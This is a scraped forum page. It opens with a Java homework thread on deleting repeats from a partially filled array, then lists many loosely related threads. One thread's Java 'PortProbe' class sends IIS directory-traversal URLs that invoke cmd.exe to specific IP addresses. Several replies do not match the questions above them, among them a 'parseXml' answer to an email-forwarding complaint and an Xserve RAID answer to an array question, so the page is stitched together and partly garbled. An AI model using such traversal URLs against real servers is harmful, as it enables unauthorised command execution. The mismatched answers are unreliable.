HELP: Trouble with partial filled arrays

For HW, I have to write a deleteRepeats static method for an array of characters that deletes any character previously listed and returns the new array size. The example the problem gives is:
char a[10];
a[0]='a';
a[1]='b';
a[2]='a';
a[3]='c';
int size = 4;
size = deleteRepeats(a, size);
The problem then says after the code is executed, a[0] should be 'a', a[1] should be 'b', a[2] should be 'c' and size is 3. I read the section in my book on partially filled arrays, but I still can't get this method to work properly. Here is my code:
public static int deleteRepeats(char[] a, int size) {
size=a.length;
for(int i=0; i<size; i++) {
for(int j=1; i+j<size; j++) {
if(a==a[i+j]) {
a[i+j]=a[(i+j)+1];
size--;
return size;
With that code, when I put in the test array [aabcd], it returns 3, when it should be 4 and it changes the array to [abccd]. I'm sure there's numerous problems with my code. Any help is greatly appreciated.

Please post code in code tags.
First, I have no idea why they make you work with partially-filled arrays. It seems like the worst idea in the world. You should use ArrayLists for this kind of thing.
Why do you do "size=a.length;" at the beginning of the method? You lose the size information.
And I don't see how the algorithm does what you want. When you "delete" an element from your list of numbers in the array, you need to shift all later elements backwards to fill the gap.

Similar Messages

  • Problem Sorting Partially Filled Arrays

    I am having trouble sorting a partially filled array. What I want to have happen is have the user enter up to 50 numbers(int's only, 0's and negatives are allowed) and store the input in an array. Then sort the array, and display the sorted array from highest to lowest back to the user. The next step, which I haven't addressed yet is counting the number occurrences of each unique int and display that total to the user.
    I have the array fill working correctly. Where I am having problems is when i try and sort the array of user entered values. Instead of only sorting the entered values, it add's "0's" to the array and sorts and displays them as well.
    Here is what I want to have happen:
    The user enters 1 2 3 4 3 2 1, the output should be 4 3 3 2 2 1 1. But what is actually being output is 4 3 3 2 2 1 1 0 0 0 0 0 0 etc.(until the array is full).
    What am I doing wrong? If I display the contents of the array prior to sorting, it will only display the numbers entered, it does not add the extra 0's to fill the array. Any other suggestions on my code are welcome as well, always trying to get better at this, its tough teaching yourself form a book!
    And I have left some of my tracer variables in there as well.
    import java.util.Scanner;
    import java.util.Arrays;
    public class SortNumbers {
        //user can not enter more than 50 numbers to be sorted
        private static final int MAX_NUMBERS_ENTERED = 50;
        public static void main(String[] args) {
            // TODO code application logic here
            int[] sortThis = new int[MAX_NUMBERS_ENTERED];
            int numberUsed = 0;
            int count;
            System.out.println("Enter the numbers you would like to sort. Enter '1234' to stop. ");
            numberUsed = fillArray(sortThis);
            outputArray(sortThis, numberUsed);
        //this receives numbers from the user
        public static int fillArray(int[] a){
            Scanner keyboard = new Scanner(System.in);
            int next;
            int index = 0;
            next = keyboard.nextInt();
            while ((next != 1234) && (index < a.length)){
                a[index] = next;
                index++;
                next = keyboard.nextInt();
            return index;
        //this outputs the content of the array to the user
        public static void outputArray(int[] a, int numberUsed){
            //show the contents of the array
            System.out.println("The numbers you entered are: ");
            for (int i = 0; i < numberUsed; i++){
                System.out.print(a[i] + " ");
            System.out.println();
            System.out.println("***********");
            System.out.println("array length: " + a.length + ", " + "what array length should be: " + numberUsed);
            System.out.println("***********");
            //sort the array and show the sorted output
            Arrays.sort(a);
            for (int i = (MAX_NUMBERS_ENTERED - 1); i >= 0; i--){
                System.out.print(a[i] + " ");
    }

    This is what I've gotten so far...
                   //sort the array and show the sorted output
            Arrays.sort(a, 0, numberUsed);
            int qty = 1;
            //show the headers of the columns
            System.out.println("Num" + "  " + "Qty");
            //go through the numbers and output them along with their qty
            for (int i = (numberUsed - 1); i >= 0; i--){     
                if (a[i] != a[i+1]) {
                    System.out.println(a[i] + "    " + qty);
                    qty = 1;               
                else {
                    qty++;
            System.out.println();However, it's not working. If I only enter 1 instance of each number it works fine. However, if i enter multiple instances of a number, it doesn't work how it should.
    Any suggestions? Should I replace the if statement with a for loop?
    In the same problem, I can't figure out how to only display the entered number once and the number of times that it has been displayed. I think my two problems go hand in hand, if I figure the first one out, the second one should be easy.

  • Trouble with sending huge arrays via DataSocket​s.

    Hi,
    I am having trouble sending huge arrays via Data Sockets from my main vi on the server PC to the vi on the client PC.
    To further elaborate, in my main vi program I have created 3 arrays called Array1, Array2 and Array3 on my front Panel. By right clicking the mouse on each set of array and from the pop-up menu I selected Data Operations-> DataSocket Connection and I entered dstp://localhost/Array1 and clicked on Publish to broadcast the data from Array1. Similarly, I did the same for Array2 and Array3.
    Now, in my client vi program I have created three arrays on my front Panel to read (Subscribe) the data from the three arrays broadcasted via DataSockets from the server’s main vi program. To subsc
    ribe the data I did the similar process above and clicked on Subscribe to read the data (of course the IP address of the client PC will be different then the server PC so enter the hosts IP address). Once the data is received in the client arrays, I am using LV2 globals so that I can use these arrays on other sub-vi’s locally (instead of having each sub-vi get data from the server directly).
    I succeeded in doing this with two arrays, however when I added the third array the DataSockets would not work consistently. For example the refresh rate would get slower at times and sometimes 2 out of the 3 arrays would update. I don’t know if I have exceeded the limit on how much data DataSockets can broadcast, but I need to have some mechanism to broadcast 6 arrays (approx. 10000 elements for each array) of double digits precision.
    Has anyone come across this issue? Is there another way of broadcasting data more efficiently then DataSockets?
    I would appreciate any
    help that I can get.
    I have attached the files for this program in the zip file.
    First run the Server main program, testServeMainVI.vi, and then the client program, testClientMainVI.vi.
    Thanks
    Nish
    Attachments:
    beta2.zip ‏70 KB

    DataSocket can be a lossy communication. I like the advice to flatten the data to a string, but another option would be to buffer the communcation. The problem might be that the data is being overwritten on the server faster than it is being read. There is an example of buffered datasocket on NI web page: http://venus.ni.com/stage/we/niepd_web_display.DIS​PLAY_EPD4?p_guid=BA3F9DFED17F62C3E034080020E74861&​p_node=DZ52000_US&p_submitted=N&p_rank=&p_answer=&​p_source=Internal
    Also, I have played with the new built in buffered datasocket in LabVIEW 7.0. It is pretty slick. If buffers the data both on the server and the client side.

  • Help trouble with forwarded message

    Hello,
    I realized that many people have this issues as I had recently, but I still need some help about this.
    I found that original sender was actually receiving my forwarded message to other people.  I had an important correspondence to make with my Attorney since February, I forwarded several messages from my opponent to my attorney.  We have been resolving issues very well, but one day, the opponents suddenly changed their attitude and giving me a hard time.  I was checking my older correspondence with the person who was actually mediating the situation and found out that my conversation with my attorney was leaked to the opponents because I hit "forward" to including the original message from the sender(opponent).  The mediator actually saw what I was talking with my attorney.  it was bad enough, the mediator was not telling me she was recovering my e-mail to my attorney.  Now I have a trust issue to my mediator.  It is not professional that mediator leaked my conversation with my attorney to the opponents, but Apple mail set up caused this situation.  Am I wrong?  I want to know if I could avoid this by myself, if it was my problem, I want Apple to teach me how to use e-mail setting correctly ASAP.  In my understanding, it should be my choice if I including the original sender or not when I forward the message to others, correct? 
    Why Apple automatically include the original sender when I forward my comments to others???
    is anyone know to fix this problem?  We act civil to each other and the mediator was taking her position fairly, but once they knew my attorney has more to say to opponents, the mediator revealed her position toward executives in the company (opponent)  My legal issue to justify my position should not be jeopardized by something like this that I cannot control.  Bad thing is I didn't know the opponent are reading my conversation to my attorney until now.  I didn't say anything wrong on the e-mail to my attorney to offend the opponent, but the opponent has been over reacting to the issue with me.  Original issue was mediated by the mediator, but now I need my attorney longer to resolve the issue.  Because of the forwarding message setting with Apple, I had extra problem.  I recently send a message to the mediator and asked if she received any e-mail that should be going only to my attorney, she has no answer.  I don't like any e-mail setting I cannot fix causes this trouble in the future.  I will never forward the message to my attorney and ask a question again, but I want Apple to make better setting to avoid this kind of situation. 

    seems like you tried to invoke the method parseXml of the class com.bt.ma.utils.xmlPolicyReader but used a wrong (illegal & incompatible) parameter attribute...

  • Can somebody help me with deleting an array

    Can somebody help with deleting an array

    Hi Sansom,
    If you want to delete an array rather than format a volume you need RAID Admin which can be downloaded here.
    http://support.apple.com/kb/DL288  if you just want to delete the contents of the volume you can do this with Disk Utility.
    You'll also need to make sure the Xserve RAID is plugged in with one Ethernet connection and is on the same network as the machine you run RAID admin on.
    Then run RAID Admin and enter the password. In General the password is "private" to make changes or "public" to view the configuration.
    Hope that helps
    Beatle

  • Help needed with passing an array to a method

    here is a small class i'm working on. it's supposed to take each address on an array, and check it for an iis machine, then check a couple of known malformed urls to see if the machine has been patched. my problem is that i can't get the method that does the probing to accept input from the array. it won't even compile, and i'm sure my problem's pretty simple, it's just that i don't quite have afull grasp on java yet. btw, the get/set methods are mandatory, as my instructor refuses to even look at code without them.
    import java.net.*;
    import java.io.*;
    public class PortProbe
         * attribute(s)
         private String[] addressesToBeScanned;
         * accessor methods
         public String[] getAddressesToBeScanned()
              return addressesToBeScanned;
         public void setAddressesToBeScanned(String[] addressesToBeScanned)
              this.addressesToBeScanned = addressesToBeScanned;
         public String getAddressesToBeScanned(int index)
              return addressesToBeScanned[index];
         public void setAddressesToBeScanned(int index, String value)
              addressesToBeScanned[index] = value;
         * helping method to determine the software running on the server
         public void probe80()
              URL myurl = null;
    URLConnection urlConnection = null;
              try
                   myurl = new URL(getAddressesToBeScanned());
              catch (MalformedURLException mal)
                   System.out.println("Exception caught: " + mal);
              try
                   urlConnection = myurl.openConnection();
    catch (IOException ioe)
                   System.out.println("Exception caught: " + ioe);
              System.out.println(urlConnection.getURL());
              System.out.println(urlConnection.getHeaderField("Server"));
         * constructor method(s)
         public PortProbe() //this constructor will initialize each array element individually
              setAddressesToBeScanned(new String[3]);
              setAddressesToBeScanned(0, "http://216.18.80.142/scripts/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir");
              setAddressesToBeScanned(1, "http://216.18.84.152/scripts/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir");
              setAddressesToBeScanned(2, "http://216.18.84.161/scripts/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir");
         * main method
         public static void main(String[] args)
              PortProbe myProbe = new PortProbe();
              for (int i = 0; i < myProbe.addressesToBeScanned.length; i++)
                   myProbe.probe80();
                   i++;
    that's it. can anyone help me out.
    thanks

    thank you all for your responses. the program now compiles and runs successfully. but the results i'm getting aren't the same as what i'm expecting.
    here is the revised code that compiles and runs:
    import java.net.*;
    import java.io.*;
    public class PortProbe
         * attribute(s)
         private String[] addressesToBeScanned;
         * accessor methods
         public String[] getAddressesToBeScanned()
              return addressesToBeScanned;
         public void setAddressesToBeScanned(String[] addressesToBeScanned)
              this.addressesToBeScanned = addressesToBeScanned;
         public String getAddressesToBeScanned(int index)
              return addressesToBeScanned[index];
         public void setAddressesToBeScanned(int index, String value)
              addressesToBeScanned[index] = value;
         * helping method to determine the software running on the server
         public void probe80()
              URL myurl = null;
    URLConnection urlConnection = null;
              try
                   for (int i = 0; i < getAddressesToBeScanned().length; i++)
                        myurl = new URL(getAddressesToBeScanned());
              catch (MalformedURLException mal)
                   System.out.println("Exception caught: " + mal);
              try
                   urlConnection = myurl.openConnection();
    catch (IOException ioe)
                   System.out.println("Exception caught: " + ioe);
              System.out.println(urlConnection.getURL());
              System.out.println(urlConnection.getHeaderField("Server"));
         * constructor method(s)
         public PortProbe() //this constructor will initialize each array element individually
              setAddressesToBeScanned(new String[3]);
              setAddressesToBeScanned(0, "http://216.18.80.142");
              setAddressesToBeScanned(1, "http://137.113.192.101");
              setAddressesToBeScanned(2, "http://216.18.84.161");
         * main method
         public static void main(String[] args)
              PortProbe myProbe = new PortProbe();
              for (int i = 0; i < myProbe.addressesToBeScanned.length; i++)
                   myProbe.probe80();
                   i++;
    please pardon the formatting. there is a constructor that sets the elements in the array. but when i execute the program, this is the output i get:
    http://216.18.84.161
    null
    http://216.18.84.161
    null
    there is nothing else. and it appears that only one of the elements is being called. i don't know where the nulls are coming from. what the program should do (and did do fine before i started with the arrays) is determine the server software running on the machine being probed. there's got to be a mistake in my logic here somewhere, but i'm not experienced enough yet to find where it is.
    thanks again.

  • Trouble with a xml array

    I have been working on this issue all morning and need some advice. I have made a 3dCube and each face has 4 boxes fitted in that will display a slideshow of pictures. The trouble is that it skips striaght to the last box leaving the others blank. Bit of a novice here so any help is greatly apreciated, here is my code:
    xmlLoader.addEventListener(Event.COMPLETE, xmlLoaded1);
    function xmlLoaded1(event:Event):void{
              imgData = new XML(event.target.data);
              imageName = imgData.image[imgNum].imgURL;
              imageWidth = imgData.image[imgNum].imgW;
              imageHeight = imgData.image[imgNum].imgH;
              picLength = imgData.image.imgURL.length();
              for (var i:int = 0;i < picLength; i++){
                        picArray.push (imgData.image.imgURL[i]);
              imageLoader = new Loader;
              imageLoader.load(new URLRequest(imageName));
              var mainReg:URLRequest = new URLRequest(picArray[whoIsOn]);
              imageLoader.load (mainReg);
              imageLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, imageLoaded);
              function imageLoaded (evt:Event):void{
                        face1.box1.addChild(imageLoader);
                        TransitionManager.start(face1.box1, {type:PixelDissolve, direction:Transition.IN, duration:2, easing:Strong.easeIn, xSections:50, ySections:10});
    xmlLoader.addEventListener(Event.COMPLETE, xmlLoaded2);
    function xmlLoaded2(event:Event):void{
              imgData = new XML(event.target.data);
              imageName = imgData.image[imgNum].imgURL;
              imageWidth = imgData.image[imgNum].imgW;
              imageHeight = imgData.image[imgNum].imgH;
              imageLoader = new Loader;
              imageLoader.load(new URLRequest(imageName));
              picLength = imgData.image.imgURL.length();
              for (var i:int = 0;i < picLength; i++){
                        picArray.push (imgData.image.imgURL[i]);
              var mainReg2:URLRequest = new URLRequest(picArray[whoIsOn]);
              imageLoader.load (mainReg2);
              imageLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, imageLoaded2);
              function imageLoaded2 (evt:Event):void{
                        face1.box2.addChild(imageLoader);
                        TransitionManager.start(face1.box2, {type:PixelDissolve, direction:Transition.IN, duration:2, easing:Strong.easeIn, xSections:50, ySections:10});
    xmlLoader.addEventListener(Event.COMPLETE, xmlLoaded3);
    function xmlLoaded3(event:Event):void{
              imgData = new XML(event.target.data);
              imageName = imgData.image[imgNum].imgURL;
              imageWidth = imgData.image[imgNum].imgW;
              imageHeight = imgData.image[imgNum].imgH;
              imageLoader = new Loader;
              imageLoader.load(new URLRequest(imageName));
              picLength = imgData.image.imgURL.length();
              for (var i:int = 0;i < picLength; i++){
                        picArray.push (imgData.image.imgURL[i]);
              var mainReg3:URLRequest = new URLRequest(picArray[whoIsOn]);
              imageLoader.load (mainReg3);
              imageLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, imageLoaded3);
              function imageLoaded3 (evt:Event):void{
                        face1.box3.addChild(imageLoader);
                        TransitionManager.start(face1.box3, {type:PixelDissolve, direction:Transition.IN, duration:2, easing:Strong.easeIn, xSections:50, ySections:10});
    xmlLoader.addEventListener(Event.COMPLETE, xmlLoaded4);
    function xmlLoaded4(event:Event):void{
              imgData = new XML(event.target.data);
              imageName = imgData.image[imgNum].imgURL;
              imageWidth = imgData.image[imgNum].imgW;
              imageHeight = imgData.image[imgNum].imgH;
              imageLoader = new Loader;
              imageLoader.load(new URLRequest(imageName));
              picLength = imgData.image.imgURL.length();
              for (var i:int = 0;i < picLength; i++){
                        picArray.push (imgData.image.imgURL[i]);
              var mainReg4:URLRequest = new URLRequest(picArray[whoIsOn]);
              imageLoader.load (mainReg4);
              imageLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, imageLoaded4);
              function imageLoaded4 (evt:Event):void{
                        face1.box4.addChild(imageLoader);
                        TransitionManager.start(face1.box4, {type:PixelDissolve, direction:Transition.IN, duration:2, easing:Strong.easeIn, xSections:50, ySections:10});

    use the trace() function to pinpoint the error.

  • Please Help: Trouble with nested CASE statement and comparing dates

    Please tell me why the query below is always returning the bold null even when the start_date of OLD is greater than or equal to the start_date of NEW.
    What I want to do is get the difference of the start_dates of two statuses ( Start_date of OLD - Start_date of NEW) if
    1. end_date of NEW is not null
    2. start_date of OLD is greater than start_date of NEW
    else return null.
    select id,
    case when max(end_date) keep (dense_rank last order by decode(request_wflow_status,'New',1,0),start_date) is null then
    null
    else
              case when max(decode(status,'OLD',start_date,null)) > max(decode(status,'NEW',start_date,null))
              then max(decode(status,'OLD',start_date,null)) - max(decode(status,'NEW',start_date,null))
    else
    null
    end
    end result
    from cc_request_status where id =1
    group by id;

    Avinash,
    Thank you for your help.. Here is a more description of my problem..
    Here is a sample of data I have for a table with four columns (id,status,start_date,end_date)
    What I need to do is to get difference of the start dates of the maximum available dates, if data is valid. The pseducode is as follows:
    IF end_date of New status is null
    THEN return null
    ELSE
    IF start_date of old >= start_date of new
    THEN return (start_date of old - start_date of new)
    ELSE return null
    I used the following query but always return the bold null
    select id,
    (case when max(end_date) keep (dense_rank last order by decode(status,'new',1,0),start_date) is null then
    null
    else
              (case when max(decode(status,'old',start_date,null)) >=
              max(decode(status,'new',start_date,null))
              then max(decode(status,'old',start_date,null)) - max(decode(status,'new',start_date,null))
    else
    null
    end)
    end) result
    from tbl where id =1
    Based on the below sample, I expected to get the following result; 14-Mar-07 - 16-Feb-07 which is the difference of the maximum start_dates of the two statuses. However the query is not working.. Please help me.. Thank you..
    Id    Status    start_date      end_date
    1     new      03-Feb-07      07-Feb-07
    1     new      16-Feb-07      21-Feb-07
    1     old      '10-Mar-07      12-Mar-07
    1     old      '14-Mar-07      16-Mar-07

  • Trouble with dynamically filling fields

    I have a large form that contains over 50 pages. The first page is a flowable user input form.
    There are several fields which are common with other fields in the various underlying hidden pages. When a user selects an account type from a dropdown list, the appropriate account opening checklist appears as page 2.
    The user then selects various checkboxes which then makes the appropriate additional pages visible. Thes additional pages contain fields that should autopopulate based on the data entered in page 1 input form.
    The fields that are globally bound are fine. The problem is fields where I need to script to autopopulate. For example, there is a ACH authorization distribution section with 2 checkboxes (one for Checking one for Savings) and one Account number field. The page for ACH data, shows the ABA and Bank Name fine since those are globally bound, but the account number is 2 separate fields that I need to script in order to fill in but it is not working correctly.
    I think it is the event I have used but I'm not sure which event is best to place the script in. I started in the initialize event of that page but that doesnt work. If I click the checking/savings checkbox again after the ach page is visible, the field populates.
    How do I get the field to be prefilled as soon as it becomes visible?
    I am very new to scripting and LC. Any suggestions would be greatly appreciated!

    If you are new to scripting I might suggest using the Action Builder. It is a set of prebuilt actions that do not require scripting. If you are using Windows go to the toolbar at the top, go to Tools and select Action Builder. From there you set a condition and a result. From the condition select what field is going to hold the value you want to be copied and select "is not empty" from the first drop down box. Then in the result section select "set value of field" and then select the field that you want the data copied to. In the result section you will then select from the drop down box what you want the value to be and you select "to the value of field" and select your 1st field. This will mirror 2 fields or even multiple fields from 1 box without global binding. What is nice about the Action Builder is if you go to the Script box at the top you can see Livecycle will populate the actual code on the correct show event. This way you can start to see how the code works and build from there.

  • HELP troubles with dynamically generated URLs

    I'm trying to integrate a new shopping cart, but DW CS4 can't follow the dynamic links in the template pages. They render fine in Live View. I can follow the CSS in the CSS Styles panel, but of course, it's not editable. Related files are far from complete and if I try to click on one, I get an error that the file can't be found.
    The templates all contain dynamically generated URLs such as:
    <?php include("${__TPL_DIR__}pages/templates/part.header.tpl.html"); ?>
    The .ini files used have site root relative references.
    Any ideas? Or am I stuck limping along?

    Thanks David,
    I found a few articles in the Developer Center that were helpful in understanding what I was looking at. The articles on creating Drupal and Wordpress themes explained how the pages are created dynamically, as well as how to use DW to modify and create themes. Though the specifics are different than what I am looking at, the concepts are similar. They also confirmed that attaching the relevant CSS files as design time style sheets was a practical workaround in the absence of an add-on to help DW understand the site structure. I was hoping that I had just not done something correctly, but I can live with a workaround, knowing that an "easier" way isn't just waiting for me to learn something about DW.
    Don

  • Help, trouble with my OS and device maybe.

    Guys, I heard the new OS 10.3.1 has been released, but my Blackberry hasnt updated yet! Tried BlackBerry link, OTA, Web, none works. It shows that my device has the latest available device software! My BlackBerry is currently on version 10.2.1.3062! Help please? Please? :'( I really wanna use the new OS 10.3.1!! :'(

    As has always been, unless you purchased from ShopBB, then your carrier controls when (if ever) you will receive the update via the official methods.
    If you want to move to it anyway, then I suggest you try the very clean and very forceful AutoLoader method:
    http://supportforums.blackberry.com/t5/BlackBerry-​10-OS-Device-Software/Upgrading-OS10-devices-using​...
    Beware that it is completely destructive...the device will be "like new"...no data, no apps, no accounts, etc. Be sure you take a full backup first, as well as make full manual documentation of all apps, accounts, configurations, etc. Sometimes a restore reintroduces the very corruption one is trying to eliminate, and manual reconfiguration is necessary.
    You can also use this to fall back to a prior OS if you desire...you can install any OS level for which you can find an AutoLoader. (Hint...search over on the CB site!)
    Good luck and let us know!
    Occam's Razor nearly always applies when troubleshooting technology issues!
    If anyone has been helpful to you, please show your appreciation by clicking the button inside of their post. Please click here and read, along with the threads to which it links, for helpful information to guide you as you proceed. I always recommend that you treat your BlackBerry like any other computing device, including using a regular backup schedule...click here for an article with instructions.
    Join our BBM Channels
    BSCF General Channel
    PIN: C0001B7B4   Display/Scan Bar Code
    Knowledge Base Updates
    PIN: C0005A9AA   Display/Scan Bar Code

  • Please please help trouble with exported quality

    please please help me> i have been searching the net for over 3 hrs for a solution and whatever I have found has been a little too technical for me . I am uploading video to i movie from a disk. the file types on the disk are mp4. I am then editing the clips on iMovie '09 when I go to export the movie I am chosing to export movie as a "large" 960x540
    .mov file. The quality ***...it is blurry and grainy and unusable. Someone in another forum told me to run the mp4 movie in quicktime and tell them what movie inspector says about the clip. Movie inspector says:
    Formatt: Apple MPEG4 Decompressor, 640 × 480, Millions
    FPS: 29.97
    Playing FPS: 30
    Data size 129 MB
    Data Rate: 1504.39 kbits/s
    Size 640 x 480
    I am dying over here any help please? and thank you all so much

    once I share to the media browser where does it go? cant find it.
    It's "hidden" in your user folder Movies>iMovie Projects. Right-click (Control-click) on the name of your Project and select "Show Package Contents". In the folder named Movies you will see your exported file. It could be either a .m4v or .mov file, or possibly another type, depending on whether standard definition or high definition and the size option chosen when exported. If you are producing a DVD, you drag the file from iDVD's Media-Movies pane onto the Theme background.
    Also, when sharing to the media browser I can only save it as "medium" quality...the other choices arent available?
    Then AppleMan's earlier advice will be correct (as always) - he recommended using the Medium setting based on your QuickTime details. It appears that your original MP4 video has an aspect ratio of 4:3, unless your Project settings are incorrect. You set the dimensions (standard 4:3, widescreen 16:9 or iPhone 3:2) of the project in File>Project Properties then selecting the General tab.
    In iMovie '09, I've mainly worked with AVCHD video which produces .MTS files that are converted to AIC (Apple Intermediate Codec) on import. This is high definition footage which iMovie can import as 1920 x 1080 or 960 x 540 (both widescreen 16:9). Hence, on export I can share at Large (960 x 540) or HD (1280 x 720). I'm not sure why you are only seeing a Medium option - could be due to the aspect ratio or maybe it's standard definition in MP4 format (just guessing!). If other options are greyed out, have you tried ticking the boxes - that activates each option for me.
    John

  • Directories in finder greyed out, with partially-filled progress bars

    I attempted to use the finder to copy some SSDs to an external hard drive.  Normally I use rsync, and this has never failed me.  This time I decided to use the Finder to do the copy because I wanted to know in advance how long the 1.6TB transfer would take.  When I started the copy operation, the finder told me it would take 16 hours.  I left for Boston, expecting the copy to be done when I returned.  It failed, so I re-started it.
    Very close to the end of the copy of the last two SSDs, I received an alert that my external drive had been disconnected (I hadn't touched it).  However, after physically removing the FW800 cable and reconnecting, the drive re-mounted, and the two directories I was trying again to copy were reconnected with it, but they were greyed out, each one showing a progress bar of the defunct copy operation from the last time.
    How do I get the disk, which has now been properly updated via rsync, to forget this vestigal information from the finder that, apparently, was not enough information to get the Mac to just Do The Right Thing and continue the copy, nor sufficiently self-aware to remove itself after the failed copy?
    What''s the fix?

    Well the strange partially-completed progress bars are gone, but my directories in those directories remain grayed out.  Using the command line, I can easily see the tens of thousands of files in those directories (RAW files from a BlackMagic Cinema Camera for an hour-long event).  But the finder refuses to open the directory.
    Does anybody else have any thoughts on how to tell the Finder "you are confused.  Forget everything you think you know, and just rebuild your knowledge from evidence in the filesystem, rather than your own preconceived notion of what you think should be there"?  Or better yet, how to tell the Finder "never try to be smarter than the filesystem.  Just be a **** GUI and let the file system be the file sytem?"

  • Please Help, trouble with j2sdk 1.4.2

    Hello anyone,
    Im only a rookie with java so,
    can some one please help me on why Java 2 SDK 1.4.2 cant preview my class files
    i have made very simple programs and compiled them by javac and after i type java (file name).class its come up with an error msg.
    the code is...
    import java.util.*;
    public class ExampleProgram
    public static void main(String[] args)
    System.out.println("Testing Java");

    Hello Mike and BBQ Frito
    thanx for all your help it works now
    all i had to do was type SET CLASSPATH and then type the file without .class
    thanx again bye
    andy

  • I'm really frustraded - Please help - Trouble with printing

    Hello guys, Im programing a software for a parking lot in java. I need to print tickets with an EPSON U220 printer. When I print, the margins of the paper are all messed up. It seems I can only print from the half of the paper to the left. What can it be? also, when I print from notepad the same happens, half of the paper is blank and only the other half prints.
    How could I solve this problem?
    Where could I start reading?
    Thanks ALOT for your time!
    Best regards
    Michel
    Edited by: mbehlok on Oct 23, 2009 8:02 PM

    mbehlok wrote:
    also, when I print from notepad the same happensSounds like the issue is completely unrelated to Java. Maybe a printer driver bug. Check/contact Epson support.

Maybe you are looking for

  • Click Bios II Won't Load?

    Anyone else having an issue with Click Bios II in Windows 8.1 Pro?? Here is the setup.. Z77A-GD65 Windows 8.1 Pro Windows 7 Ultimate I have it setup for dual boot because i still provide tech support for a ton of 7 users so its just nice to have both

  • How to Printe Graphics in Smart-Forms

    Guys, Need your help… Is it possible to print graph in smart form??? If yes, if you have any document, please pass it to me… Dhiraj

  • Intrastat for goods movement between two plants

    Dear All I have question need your help. Now we have two plants located in different countries, one plant is in NL (Netherlands), another plant is in DE (Germany). And we transfer stock from NL to DE in SAP by MIGO(301). But actually this belongs to

  • Where Should I Buy The iPhone?

    I'm Thinking of going to the apple store to purchase my iPhone, will the apple store have the iPhone in stock? Or should i buy online.

  • CFMAP - multiple markers - error: the webpage has gone over the requests limit in too short a period

    Google Maps has a restriction on how many map markers can be requested per second.  The limit is ten per second.  I am looking for the "best Practice" on how coldfusion developers address this limitation.  I am looking to display a map of the US with